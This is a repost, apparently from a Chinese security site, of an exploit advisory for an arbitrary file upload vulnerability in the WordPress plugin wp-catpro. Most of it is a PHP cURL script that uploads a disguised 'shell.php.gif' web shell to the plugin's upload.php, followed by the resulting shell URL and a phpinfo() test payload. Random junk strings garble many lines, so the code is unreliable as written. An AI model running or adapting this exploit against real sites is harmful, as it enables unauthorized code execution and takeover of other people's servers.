WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
& ]: @' h; v. l5 L" G
作者  => Zikou-16
1 t. `( Q8 A! p" U3 M; x; \3 C邮箱 => zikou16x@gmail.com
; r  d% I) d2 |- O测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
' p; W3 o9 c4 m0 _####

#=> Exploit 信息:
9 F( H, X7 Q+ T. _, K, u: r------------------
) ~6 _/ ^: X* i$ s/ T. d9 c# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
2 x. Z: k/ d- Q; H3 r9 |# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
/ p, u* w" V1 u, s! {& `# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
; o$ F$ D+ y3 T
#=> Exploit
9 i0 L1 ]5 ]5 j-----------
, Y: }2 i! b$ ~<?php
2 F7 ], G- M% `% G$ b* d
$uploadfile="zik.php.gif";
+ \% }' h. A0 a$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
+ [0 @9 z: R' a1 Z1 |- H5 ycurl_setopt($ch, CURLOPT_POSTFIELDS,
; A# @5 N. X* G$ F0 tarray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
3 h+ P8 ]& t8 D1 |$postResult = curl_exec($ch);
; I, z- J! D3 Z0 W! E- {curl_close($ch);
7 N6 A* r, r6 p7 }( E# ^& I7 q. Z
9 {7 O& d  u2 M; d9 j. k  aprint "$postResult";

3 j0 F4 Z* R) v. u2 qShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
# _6 a  `1 I  Q, E" F. |" r$ ]8 y  ?>
<?php
# E' z7 @, k7 @3 I% G, y9 lphpinfo();
?>